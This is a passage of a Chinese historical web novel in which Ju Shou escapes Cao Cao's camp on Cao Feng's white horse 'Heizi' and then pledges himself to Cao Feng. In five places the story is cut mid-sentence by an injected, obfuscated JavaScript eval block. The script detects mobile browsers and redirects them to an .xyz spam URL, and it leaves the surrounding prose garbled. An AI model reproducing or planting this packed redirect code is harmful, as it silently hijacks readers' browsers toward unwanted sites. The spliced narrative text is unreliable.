沮授谨慎地摸到马棚附近,正暗自庆幸一切顺利,却没发现暗处有双眼睛正盯着他。那是曹风派来的【魍】。 他不断通过暗号向【魑右】传递消息,好让【魑右】提前为沮授清除沿途的守卫。 【沮授提前打探过,棚内拴着数十匹战马,大多是曹军缴获或自备的良驹。】 【沮授借着微弱的星光望向马棚,眼前的景象却让他心头一沉。棚内的马匹大多萎靡不振,有的瘫倒在地,有的夹着后腿艰难踱步,显然都已受伤,根本跑不了远路!】 【沮授的心凉了半截。他焦急地扫视着整个马棚,目光最终落在角落里唯一一匹还昂然挺立的马身上。】 【那是一匹极其神骏的白马,全身雪白没有一丝杂色,在暗处隐隐泛着银光。它体型修长匀称,四肢强壮有力,鬃**随风轻扬,就算静静站着,也透着一股与众不同的气度和力量。】 然而,让沮授感到莫名不安的是这匹白马的神情。 【它那双深邃的眼睛在夜色中闪着异样的光,不像普通马那样温顺或惊慌,反而带着一种…… 近乎看透一切的平静? 它的目光仿佛能穿透人心,嘴角似乎还挂着一丝若有若无的…… 像是在嘲笑?! 沮授心中打了个突,觉得这马的神情实在太过奇特,甚至可以说有些“灵异”。】 【但环顾四周,除了那些明显无法使用的伤马病马,这匹白马是唯一的选择。时间紧迫,容不得他迟疑。沮授一咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886281|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙,不再犹豫,迅速解开白马的缰绳,牵出马棚,翻身而上。】 就在沮授刚刚骑上马背,调整好姿势,准备催马冲出营地的时。 一支巡逻小队恰好拐过营帐! 火把的光突然照亮了沮授和他座下那匹神骏的白马! “有奸细!盗马贼!”巡逻士兵的厉声呼喝。 “抓住他!别让他跑了!” “等等,不要放箭!那是沮授!快去报告主公,沮授偷了马要逃跑!” …… 附近的曹军被惊动,纷纷从营帐中涌出! 【火把的光快速聚拢,脚步声、拔刀声、喊叫声轰然炸开!】 【沮授和白马转眼间就被团团围住。士兵们举着长矛大刀,从四面八方向中间压来,像铁桶一样封**所有退路。】 这阵骚乱迅速惊动了中军大帐。 【曹操闻报“沮授盗马欲逃”,又惊又怒,立刻在亲卫的簇拥下疾步赶来。】 【火光中,曹操的脸色阴沉得可怕。】 【他推开人群走到最前面,盯着马背上紧抓缰绳、面色惨白的沮授,眉头紧皱,声音里压着怒火:“沮授先生!我曹操待你不薄,以贵客之礼相待,从未亏待过你!”他咬着牙继续道,“你半夜偷马,想去哪儿?难道我曹孟德的军营,就让你这么待不下去吗?”】 到了这个地步,沮授知道没有回旋余地了,反而激起一股决绝之气。 【他挺直腰背,在马上直视曹操,声音异常坚定:“曹公厚待,沮授铭记于心!但忠臣不事二主!我主袁绍尚在河北。今夜就算死在这里,我的魂魄也要回到北方!”】 【“好!好一个‘就算死在这里,魂魄也要回到北方’!”曹操听了,不但没发怒,反而冷笑起来。】 曹操此刻心态彻底崩了。先是关羽挂印封金离他而去,现在连沮授都要偷马逃回袁绍那边。他曹孟德的一片真心,终究是错付了! 【曹操愤怒的厉声吼道:“我真心待你,你却这般轻视于我,执意找死!好!既然你无情,就休怪我无义!】 【曹操猛地一挥手,“来人!把这个忘恩负义、不知好歹的人,拖下去斩了!砍下脑袋挂起来示众!”】 第191章 黑子劫持沮授 【刀斧手得令,立即推开人群,提着明晃晃的大刀,凶神恶煞般朝沮授逼近!】 【沮授绝望地闭上双眼,伸长脖子等死。四周士兵都屏住呼吸,空气仿佛凝固了,就等着那鲜血飞溅的瞬间!】 就在这生死攸关的瞬间—— 【一声尖锐刺耳的哨音突然划破夜空!】 【哨声响起的一瞬间,沮授身下那匹异常安静的白马突然像着了魔一般!】 【它那双本就灵动的眼睛,突然迸出骇人的凶光!】 【白马突然发出一声震耳欲聋的嘶鸣,声音里满是暴怒与轻蔑!它庞大的身躯猛地向前一冲,快如闪电,力大无穷!根本不管面前米的守军。】 【那些提着大刀逼近的刀斧手,此时却都“惊慌失措”地跌坐在地上,活像一群被吓破胆的怂包。】 开什么玩笑?! 他们要是敢伤着“黑子”,曹风非得砍了他们全家不可! 更何况曹风是他们的顶头上司,平日里待他们不薄。就冲这层关系,他们也不敢对曹风的坐骑下手。 沉闷的撞击声、骨骼碎裂声、士兵凄厉的惨叫声…… 瞬间混合在一起! 【挡在最前面的士兵像是被攻城锤砸中,惨叫着倒飞出去,兵器脱手,骨头都撞断了!原本严密的包围圈,竟被这狂暴的一撞硬生生撕开个大口子!】 变故来得太快,所有人都没反应过来! 【曹操瞳孔骤缩,满脸震惊。借着四周火把的亮光,他死死盯着那匹突然发狂的白马。】 这白马,他好像有些眼熟!但又想不起来在哪里见过!并且,刚才那马好像是在骂他! 【只见白马撞开包围后毫不停顿,四蹄如飞,像道白色闪电般冲出人群。】 【沮授惊魂未定,死死抱住马脖子,一人一马如同离弦之箭,转眼就消失在营外的黑暗中。那速度之快,远超寻常战马,不一会儿就只剩个模糊的白影了。】 【曹操这才猛地回过神来,从震惊中清醒。】 【他狠狠跺脚,对着周围还在发愣的将士们怒吼:“都傻站着干什么?!还不快追!要是放跑了沮授,我饶不了你们!”】 【“给我追!死活不论!”】 这声怒吼像炸雷般惊醒了曹军将士。 【将领们这才回过神来,手忙脚乱地爬上马背。】 【火把杂乱地亮起,马蹄声、叫骂声混作一团。一群人朝着白马消失的方向追了过去。】 【此时的沮授,整个身体都紧紧地贴伏在狂奔的白马背上,双臂用尽平生力气死死搂住马颈,双腿也拼命夹紧马腹,才勉强没有被这风驰电掣般的速度甩飞出去。】 【劲风如同刀子般刮过他的脸颊,两旁的景物飞速**,模糊成一片。】 他从未骑过如此神速的骏马! 这速度简直快得不可思议! 更让他惊讶的是,这匹白马不仅跑得极快,还异常聪明,甚至能像人一样思考,实在超出常理! 这匹白马似乎天生就对地形极其敏感。 它不走平坦的官道,反而专挑那些崎岖难行、林木茂密的小路和山道飞奔。 哪怕是陡坡乱石,它也能轻松跨越,如履平地,灵活得惊人。 而后面追赶的曹军骑兵,虽然骑的也是百里挑一的好马,但到了这种复杂地形,速度立刻慢了下来,磕磕绊绊,被越甩越远。 白马靠着对地形的熟悉和超强的体力,灵活周旋,渐渐拉开了距离。 【经过一番惊心动魄的逃亡,前方突然出现一条溪流。】 【水面不算太宽,但水流湍急,彻底拦住了去路。】 【沮授回头一看,曹军追兵的火光和人影已逼近,叫嚣声近在耳边。】 前有急流阻隔,后有追兵逼近,沮授的心一下子提到了嗓子眼! 【就在这危急时刻,白马突然向后退了几步!】 【白马发出一声高亢的长嘶,猛地蹬动四蹄,整个身子腾空跃起!】 【沮授只觉得身体一轻,随着白马凌空飞起。】 【月光下,白马矫健的身影划出一道弧线,带着呼啸的风声,稳稳落在溪流对岸的软土上!】 剧烈的颠簸让沮授惊魂未定。等他回过神来,这才发现已经安全过河。 【身后的追兵被湍急的溪流挡住,只能在对岸愤怒叫喊。】 沮授心中涌起一阵狂喜。 他终于彻底甩掉了追兵! 【沮授惊魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890379|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍定,心中对这匹救命的白马,充满难以言喻的感激。他下意识抬手,想轻抚它那如银色瀑布般飞扬的鬃**,以示亲近和谢意。】 【可他的手还未碰到鬃**,白马就敏感地猛甩脖子,毫不客气地将他甩开!】 【白马耳朵后抿,鼻孔喷着粗气,显得极为不耐烦,甚至还带着厌恶。】 这匹骄傲的白马,显然极其抗拒陌生人的触碰。 【它在溪边驻足,并未立即离开,反而转头望向对岸。那里是气急败坏、正忙着寻找渡河点的曹军骑兵。】 【突然,白马咧开宽大的马嘴,打了个异常响亮的响鼻:“噗嗤——!”】 这声音在寂静的夜色中格外刺耳。 活像在嘲讽:“一群废物,连条小河都过不来!” 【白马眼中闪动着人性化的轻蔑,甚至带着几分得意。】 【挑衅完毕,白马傲然转头,不再理会对岸的喧嚣。它驮着沮授,迈着轻快的步子走进岸边茂密的树林。转眼间便消失得无影无踪。】 【沮授伏在马背上,任由这匹神奇的白马驮着自己在山林间穿行。最初的狂喜和脱险的庆幸渐渐平息后,一个让他哭笑不得的事实浮上心头。】 他好像……根本控制不了这匹马! 【无论他如何轻声呵斥、抖动缰绳,甚至用腿夹紧马腹,示意方向。白马对此都充耳不闻,对他的指令置若罔闻。】 【它只是自顾自地朝着某个方向,不紧不慢却又坚定不移地前进,仿佛有个明确的目的地。】 沮授突然意识到,自己不是在骑马,倒像是被马“**”了。 【沮授无奈地苦笑,放弃了徒劳的指挥,任由这匹任性的白马带着他在山林里兜兜转转。】 【大约又过了半个多时辰,白马驮着沮授,来到一处平缓的山腰。】 【月光如水,洒在地上,四周一片清亮。】 【白马渐渐放慢脚步,从奔跑变成平稳的慢行。】 【就在这时,一阵若有若无的琴声,像山间的清泉一样,从远处飘来,清晰地传入沮授耳中。】 【琴音空灵悦耳,在这寂静的山林月夜里,显得格外突兀,却又透着一丝神秘。】 第192章 沮授:见鬼了?!麴义:惊不惊喜?意不意外? 【沮授心中惊疑不定,立刻警惕地直起身子,借着月光环顾四周,试图寻找琴音的来源。】 【这里显然不是寻常路径,四周林木环绕,前方隐约可见一处人工开辟的**台。】 就在他凝神观察时,异变突生! “呼啦——!” “呼啦——!” 【周围的密林中,毫无预兆地亮起无数火把!火光跃动,瞬间将山腰平台照得亮如白昼。】 【刺眼的光芒让沮授下意识眯起眼睛。】 【待他适应光亮,定睛一看,不由得倒吸一口冷气。】 【不知何时,树林的阴影里、岩石后方,竟悄无声息地涌出大批士兵!】 【这些士兵个个身披铁甲,手持利刃,行动迅捷,队形严整,显然是一支训练有素的精锐。】 【他们沉默列阵,将沮授和白马团团围住,形成一道密不透风的包围圈,水泄不通!】 【而那匹让沮授感到诧异的白马,对此似乎毫不意外,甚至显得有些悠闲。它不再需要沮授的催促,自己就迈开步子,驮着目瞪口呆的沮授,不紧不慢地穿过士兵们让出的通道,径直向着平台中央一座雅致的凉亭走去。】 【直到走到凉亭前,白马才稳稳地停了下来。】 【它先是优雅地甩了甩头,然后竟然开始摇晃起整个身子,幅度越来越大,鼻子还对沮授发出不耐烦的“噗噗”声。】 那意思再明显不过:赶紧下去!别赖在我背上!你也配?! 沮授看着白马这近乎“无赖”的举动,又是好气又是好笑,心中那点对这神驹的敬畏也消散了不少。 他甚至开始怀疑,这马不仅心思活络,而且心眼极多,甚至有点“心黑”——自己若是不识相,赖着不下马,看它这架势,真有可能一尥蹶子把自己狠狠地摔下去! 【好汉不吃眼前亏,沮授很“识相”地翻身下马,双脚终于踏上了坚实的地面。】 【那白马见沮授下了马,立刻停止了摇晃,欢快地打了一个响鼻,迈着轻快的步子,“嘚嘚嘚”地小跑着冲进了凉亭内。】 【沮授的目光随着白马移动,只见亭子中央,一个身着锦袍、气质不凡的年轻男子正端坐在一张古琴之后。】 【白马径直跑到那年轻人身边,亲昵地低下头,用它那硕大的马头蹭着年轻人的胳膊,姿态温顺,与方才对待沮授的“恶劣”态度判若两马。】 【年轻男子脸上露出温和的笑容,伸手从怀中锦囊里掏出一把饱满的豆子,摊在手心,递到白马的嘴边,语气宠溺地说道:“辛苦了,黑子!干得漂亮!”】 沮授呆呆地看着这一幕。 原来这匹神骏的白马,竟有一个如此反差的名字—— “黑子”! 【名叫“黑子”的白马显然对这奖励非常满意,它一边大口咀嚼着香喷喷的豆子,一边继续用脸蹭着年轻人的胳膊,喉咙里发出满足的呼噜声,还时不时地用鼻子去拱年轻人的手。】 那意思分明是: “不够不够!再来点!这点豆子就想打发我?我可是立了大功的!” 神态娇憨,充满了灵性。 【曹风笑着又掏出一小把豆子,同时安抚地拍了拍“黑子”的脖颈:“好了好了,知道你辛苦,回去再好好犒劳你。这次多亏你了。”】 如果不是曹风事先好言相劝,并又以大量它最爱的豆子作为诱惑,以“黑子”那高傲又惫懒的性子,才懒得去执行这趟“英雄救沮”的任务。 【沮授笔直站在亭外,目光复杂地看向凉亭中的年轻男子。】 他搜肠刮肚,实在认不出眼前这位气度沉稳、能驾驭如此神驹的年轻人究竟是何方神圣。 【更令他感到心惊的是,簇拥在曹风周围的几位将领,个个身材魁梧,气势沉凝,眼神锐利如鹰。】 一看便是身经百战、勇猛非凡的悍将。 【而在曹风身侧稍后的阴影中,还侍立着一位身着文士袍、脸覆青铜面具的神秘人物。】 虽然那人沉默不语,但那面具下偶尔透出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890380|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光,却让沮授感到一种莫名的寒意和深不可测的危险感。 【就在沮授惊疑不定地打量着曹风及其部属的时候,一个极其熟悉、却又绝不应该出现在此地的声音,带着一丝笑意,突然从他身后响起:“沮授先生,别来无恙乎?”】 【沮授浑身剧震,猛地回头望去!】 【当他看清说话之人的面容时,瞬间如遭雷击,脸色变得惨白如纸、】 【沮授眼中充满了难以置信的惊骇,失声惊呼道:“麴……麴义将军?!是你?!你……你不是……不是已经被郭图那个无耻小人进谗言害**吗?怎会……怎会在此?!” 来人赫然正是袁绍麾下曾经最勇猛善战、统领“先登死士”威震河北的大将麴义! 袁绍听信郭图谗言,认定麴义恃功而骄、心怀不轨,早已将他给卖了。沮授一直以为麴义早已含冤而死,万万没想到竟会在此地重逢! 【麴义脸上挂着爽朗的笑容,大步流星地走上前来,对沮授的震惊似乎早有预料。】 【他并未直接回答沮授的疑问,而是径直走过沮授身边,来到凉亭台阶之下。】 【麴义对着端坐的曹风恭敬地抱拳行礼,声音洪亮地禀报道:“禀公子!末将已率部巡视四周,曹军的追兵已被我军疑兵之计引开,确认退去,暂时不会威胁到此地安全!”】 【曹风闻言,微微颔首。他这才将目光正式投向仍处于极度震惊中的沮授,伸手指了指自己面前早已备好的一个石凳,语气平和却带着不容置疑的威严道:“先生一路奔波,想必辛苦了。请入座叙话。”】 【沮授环顾四周,看着那些虎视眈眈、装备精良的士兵,以及眼前深不可测的曹风、死而复生的麴义、还有那位神秘的面具谋士,心知自己已陷入了一个精心布置的罗网之中,插翅难飞。】 【他深吸一口气,努力压下内心的震惊,知道自己现在别无选择,只能照做。他整理了一下凌乱的衣袍,满心疑惑和戒备,慢慢走进凉亭,在曹风对面的石凳上坐下。】 第193章 沮授:啥?你是曹风?! 【曹风提起石桌上温着的茶壶,亲自为沮授面前的茶碗斟满了一碗热气腾腾、清香四溢的茶水。】 【他将茶碗轻轻推向沮授,脸上带着诚挚的笑容,开门见山地说道:“沮授先生智谋深远,忠义无双,曹风仰慕已久,常恨无缘得见。今日能于此山野之间,与先生相遇,实乃天意使然,亦是曹风莫大的缘分。先生请用茶。”】 【沮授看着面前那碗清茶,却丝毫没有饮用的心思。】 他此刻心中充满了无数个巨大的问号,等待解答。 【他紧盯着曹风,单刀直入地问道:“公子气度非凡,麾下人才济济,兵甲精锐。”】 【“然则沮授愚钝,实在不识公子尊颜。敢问公子究竟是何方神圣?又为何要冒此奇险,在曹营重地之中,将沮授救出?公子所图为何?”】 他的问题直指核心,目光锐利,试图从曹风的神情中找到些许答案。 【曹风似乎早就料到沮授会这么问。他露出一个带着自嘲又意味深长的笑容,缓缓说道:“先生过奖了。在下曹风,字……】 【“嗯,暂时没有表字。若是说名声,先生或许也听说过。那个被世人称作‘天下第一纨绔’和‘曹孟德最没用的儿子’就是在下了。”】 曹风的语气平淡,好像在说一件与自己无关的小事。 【“什么?!你竟然是曹风!曹孟德之子曹风?!”沮授闻言,失声惊呼,猛地从石凳上站了起来,脸上写满了极度的震惊和不可思议!】 眼前这个年轻人举止沉稳、谈吐不凡,既能驾驭麴义这等悍将,又坐拥精锐私兵。 他无论如何也无法将这样的形象,与传闻中那个整日飞鹰走狗、斗鸡走马,挥霍无度到连曹操都视其为耻辱的纨绔子弟联系起来! 这反差实在太大,大得让人难以置信! 传闻里的曹风浮夸浪荡,行事荒唐,而眼前这位,言谈举止沉稳有度,眼神深邃睿智,隐隐透着上位者的气度,哪有一丝一毫纨绔子弟的轻佻? 更何况,方才他亲眼所见——连袁绍都敢顶撞、向来桀骜不驯的麴义,此刻对曹风竟流露出由衷的敬重。那种发自内心的服从,绝非作伪! 这足以说明,眼前这位公子定有常人难以企及的过人之处! 震惊过后,沮授强迫自己冷静下来,开始重新审视眼前的局面。 【沮授的目光再次扫过凉亭内外那些沉默肃立的甲士和将领们。】 【这些士兵个个装备精良,身姿挺拔如松。他们眼神锐利却沉静,行动时几乎不发出声响,队列变换间整齐划一。这绝非临时拼凑的杂兵,而是一支经过严格训练、在战场上淬炼出来的真正精锐!】 【再看那几位将领,有的高大魁梧,有的精悍矫健,气势沉稳,一看就不是普通武夫!】 【还有那位戴着面具的文士。他始终沉默,反而让人觉得深不可测。】 沮授心中大震: 不简单!曹风此人,本事惊人,城府极深!竟能收服麴义,还暗中培养了这般强悍的部队…… 难道……难道世人所传皆虚? 曹操并非忽视此子,而是刻意将其雪藏,暗中倾力栽培,赋予资源,否则曹风一个无权无势的‘纨绔’,怎可能拥有如此实力? 这必是曹操布下的暗棋! 然而,沮授毕竟是顶级谋士,心思缜密。 这个念头刚起,另一个巨大的疑点又立刻浮现: 若曹操与曹风父子情深,暗中支持,那么曹风为何要费尽周折,精心策划将自己从曹操手中“劫持”出来? 这完全不合情理! 自己作为曹操的重要俘虏,曹风若与曹操一条心,大可不必多此一举。 将自己救出再送给曹操? 这简直是脱裤子放屁——多此一举! 除非……他们父子之间的关系,绝非外界所传的“忽视”那么简单,而是存在着某种深刻的、不为人知的裂痕甚至对立? 沮授脑海中闪过无数念头。 就在这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893427|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉亭里的曹风微微抬眼,目光如炬,竟似洞悉了他所有的心思。 【曹风收敛了笑容,神色变得郑重而坦诚,目光直视沮授,一字一句地说道:“先生心里一定有很多疑问。今天,我就坦诚相告——实不相瞒,我和曹操,表面上是父子,实际上是死敌!我跟他之间,早就势不两立,水火不容!”】 【“势不两立?!”沮授被曹风惊人的话语再次震惊。】 【他下意识环顾四周肃立的甲士和将领,脱口问道:“公子此话当真?”】 【“公子既与曹操为敌,不知这些精锐之师,还有麴义将军这等人才,都是如何招揽的?”】 这是沮授最在意的关键问题。 没有曹操的暗中支持,一个被家族抛弃的“纨绔”,怎么可能掌握如此强大的力量? 【曹风似乎早就料到沮授会这么问。他朗声答道:“从哪来的?当然是我自己一点一滴挣来的!”】 【“借势、谋划、交易、威胁、以德服人……这些手段我都用过。”】 贾诩这时要是在场,肯定要拍着大腿喊:“好家伙!以德服人?你这‘德''怕是缺德的‘德''吧?!” 沮授凝视着曹风年轻却坚毅的面容,听着这番近乎天方夜谭却又斩钉截铁的话语,眼中的怀疑之色仍未消散。 这一切实在太过离奇,完全超出了他的认知范围。 【曹风见状并不恼怒,反而意味深长地笑了笑:“先生还是不信吗?无妨,眼见为实。不如我们打个赌?”】 【“与我打赌?”沮授眉头一皱。】 【“正是。”曹风目光灼灼,声音低沉而坚定:“我所言句句属实,这一切确是我白手起家所得,与曹操毫无干系。待先生日后自行查证后,若真如我所说,便请担任我军军师。”】 【曹风略一停顿,语气诚恳:“先生何必再执着于袁绍?他已是日薄西山。以先生大才,不如留在我军中担任军师,与我共图大业。不知先生意下如何?”】 第194章 沮授归降 沮授听完曹风的提议,陷入了沉默。他眉头紧锁,内心激烈地斗争着。 曹风展现出的气魄和实力确实让他动容。 然而,一想到那位性情刚直、屡次直谏而处境岌岌可危的好友——田丰、田元皓! 沮授的心一紧。 他太了解袁绍的刚愎自用,和郭图等小人的阴险了。 自己若是不回去,以田丰那宁折不弯的性格,在无人为其分说的情况下,必然会被郭图等人构陷至死! 【沮授最终抬起头,眼中带着深深的歉意和决绝:“公子的厚意和雄心,沮授感佩。然则……此事恕难从命。”】 【“沮授并非贪恋在袁氏的权位,实乃……实乃有不得已之苦衷。”】 【“我若就此滞留不归,我那至交好友田丰田元皓,性情刚烈,直言敢谏,在军中素为郭图、逢纪等小人所忌。”】 【“我若不在,他们必定会趁机落井下石,以谗言惑主,置元皓于死地!沮授不能为自身安危,而陷好友于死境!请公子见谅!”】 【曹风微微叹了口气:“先生重情重义,挂念好友安危,此乃高义,风深表敬佩。”】 【“不过……”曹风的语气陡然一转,“先生可曾想过,即便您此刻回去,以袁本初如今的猜忌之心,以及郭图等人对您的嫉恨,您自身……又能安然无恙吗?恐怕不仅救不了田丰先生,连您自己,也会步上田丰先生的后尘啊。”】 【沮授闻言,脸色微变。】 【就在沮授忧愁更甚之时,曹风忽然伸手,从怀中取出了一封折叠整齐的书信。】 【他将书信轻轻推到沮授面前的石桌上,语气平静道:“先生勿忧。我既知先生挂念田丰先生,又岂会坐视不理?请先生先看看这封信吧。”】 【沮授拿起书信,小心翼翼地拆开。】 当他的目光落在信笺上那熟悉的、刚劲有力的字迹时,浑身剧震! 这字迹,他再熟悉不过了——正是他的至交好友,田丰田元皓的亲笔! 沮授迫不及待地展开信纸,借着凉亭内明亮的灯火,快速地阅读起来。 信中的内容,让他的脸色瞬间变得铁青,拿着信纸的手也因为愤怒而微微颤抖! 信中,田丰以悲愤的笔触,控诉了郭图等人如何在他因直言劝谏袁绍勿要冒进而被下狱后,变本加厉地落井下石,在袁绍面前不断进献谗言,诬陷他田丰在狱中“心怀怨望”、“诽谤主公”,甚至捏造他“暗通曹操”的罪名! 更让沮授怒火中烧的是,郭图等人竟公然在袁绍面前,要求尽快将田丰处死,以儆效尤! 而袁绍的态度,在信中看来,已是明显偏向郭图,田丰已经身处绝境! 【“郭图!无耻小人!竟敢如此构陷元皓!袁公……袁公真是糊涂!为何偏信这等谗佞小人!”】 沮授看了一半信上内容,悲愤交加,对郭图的恨意达到了顶点。对袁绍的失望也溢于言表。 【曹风看着沮授的愤怒,适时地开口道:“先生息怒。郭图之流,宵小之辈,自有其报应之时。至于田丰先生……”】 【曹风指着沮授手中的信件,“先生不必忧心忡忡了。田丰先生,已被我设法救出。”】 【“什么?!”沮授又惊又喜,几乎不敢相信曹风的话。他急忙继续往下读信,直到看见田丰亲笔写道,自己已经被曹风救出,悬着的心这才放了下来。】 【曹风继续道:“我深知二位先生乃国士之才,不忍见明珠蒙尘,更不忍见忠良死于小人之手。”】 【他话锋一转,语气带着一丝规劝,“先生,如今田丰先生已脱险境。您若执意回到袁绍身边,以您此次被俘的经历,再加上郭图等人的谗言,您的下场,恐怕比田丰先生之前更甚!”】 【“袁绍不会再信任您,等待您的,很可能就是牢狱之灾,甚至是……杀身之祸!”】 曹风将沮授回去的可怕后果清晰地剖析出来。 【“不过……”曹风话锋再次一转,随后目光坦然地直视沮授,“人各有志,不可强求。我虽万分渴望先生留下相助,但若先生心中仍存故主之念,执意要回到袁绍身边,绝不阻拦!”】 【曹风的话语斩钉截铁,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898407|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着凉亭外围的士兵和将领们用力地挥了挥手,朗声道:“为沮授先生让开道路!”】 【随着曹风的命令,包围着凉亭的精锐士兵们,没有丝毫犹豫,如同潮水般迅速向两边退开,让出了一条直通山下的、畅通无阻的道路!】 【火把的光芒照耀下,道路清晰可见。】 【曹风负手而立,目光清澈,没有半分作伪之意。他是真的愿意放沮授自由离开!】 【然而站在曹风身后的李儒,却是阴沉沉的盯着沮授。】 【沮授怔怔地站在原地,看着眼前豁然开朗的道路,又看看亭中神色坦荡的曹风。再看看侍立一旁、对曹风命令毫无异议的麴义等将领。】 袁绍的昏庸、郭图的阴险、田丰的获救、曹风的坦诚与救命之恩,还有眼前这支神秘而强大的军队…… 【沮授脸上的表情变幻不定,最终,所有的挣扎、犹豫、顾虑,都化为一声长长的、释然的叹息。】 【他猛地转过身,不再看向那条下山的路,而是面向凉亭中的曹风。】 【沮授双手抱拳,深深一揖到底,语气郑重而决绝:“公子心胸气度,世所罕见!沮授……心悦诚服!”】 【“袁本初非明主,郭图等小人当道,河北已非沮授可效死之地。公子不计前嫌,救沮助于水火,更保全元皓性命,此恩此德,重于泰山!”】 【“沮授若再执迷北顾,岂非不识时务,不知好歹?今日,沮授愿弃暗投明,归顺公子帐下,效犬马之劳!愿为公子驱策,肝脑涂地,在所不辞!”】 【沮授脸上再次浮现忧虑之色。】 【沮授神色一黯,抬头望向曹风,声音里带着恳求:“我在邺城还有一家老小,只怕会因我受累……”】 【曹风不等沮授说完便放声大笑,笑声豪迈爽朗。】 【他大步跨出凉亭,一把扶起长揖到地的沮授,声音铿锵有力。】 【“先生愿助我,是曹风的福分!家眷之事不必挂心,包在我曹风身上!我定当全力营救,保您家人平安离开邺城,与先生团聚。此诺,天地共鉴!”】 第195章 郭嘉的最后叮嘱:明公,记得开导航! 天幕画面继续快进…… 【曾经雄踞于河北、睥睨四州的霸主袁绍,在官渡惨败的重创下,心力交瘁,在悲愤与不甘中,病逝于邺城。终年仅四十八岁。】 袁绍的离世,如同一棵参天巨木轰然倒塌,彻底震散了袁氏集团最后的凝聚力。 同时,袁绍的陨落,为曹操扫平河北,打开了至关重要的缺口。 【建安十年,挟着胜利余威的曹操挥师北上,势如破竹。】 【袁绍长子袁谭困守青州,虽负隅顽抗,终究难挡曹操的兵锋,兵败身亡。】 冀州、青州随之相继平定,曹操的势力如日中天。 【袁绍次子袁尚在冀州失守后,惶惶如丧家之犬,仓皇北窜至幽州,投奔其兄幽州刺史袁熙,觅得喘息之机。】 然而,袁氏的气数已尽,祸不单行。 【就在袁尚惊魂未定之际,幽州将领见袁氏大厦将倾,举兵反叛,倒戈相向。】 这致命一击彻底断绝了袁氏兄弟在汉地的最后根基。 【袁尚、袁熙兄弟二人,如同被驱赶的丧家之犬,带着残兵败将,狼狈不堪地越过长城,遁入塞外,投奔了盘踞在辽西、辽东、右北平三郡的乌桓部落。】 苟延残喘,伺机反扑。 【建安十二年五月,曹操于邺城升帐议事。】 议题核心便是,是否远征乌桓,彻底铲除袁氏余孽,永绝后患。 【帐中顿时争论四起。】 【多数将领面露难色,忧心忡忡:塞外苦寒,路途遥远,补给艰难,乌桓铁骑剽悍,兼有熟悉地利之便,劳师远征,风险太大,稍有不慎,恐有倾覆之危。】 【就在众人争执不下,曹操亦陷入沉思权衡之时,一个虚弱却异常清晰的声音,自角落的病榻上响起。】 【军师祭酒郭嘉,这位曹操最为倚重的“鬼才”,此刻正卧于榻上,显然已经生病了。】 【他那双深陷的眼窝中,却依然闪烁着智慧与决断千里之外的光芒。他强撑着病体,用尽气力,献上了足以改变整个北疆格局的计策。】 【“明公……咳咳……乌桓恃其地处偏远,必以为我军千里劳顿,难以猝至,故防备必然松懈……”】 【“此乃天赐良机!我军当出其不意,攻其无备。若待其整顿部众,凭险据守,则……则胜负难料矣……”说完这些话,郭嘉又开始猛烈咳嗽起来。】 【曹操听罢,拍案而起:“奉孝之言,正合吾意!此战,当行险一搏!”】 偏营。 【曹风见王五一脸愁容,忍不住笑道:“媳妇都娶了,你还愁什么?”】 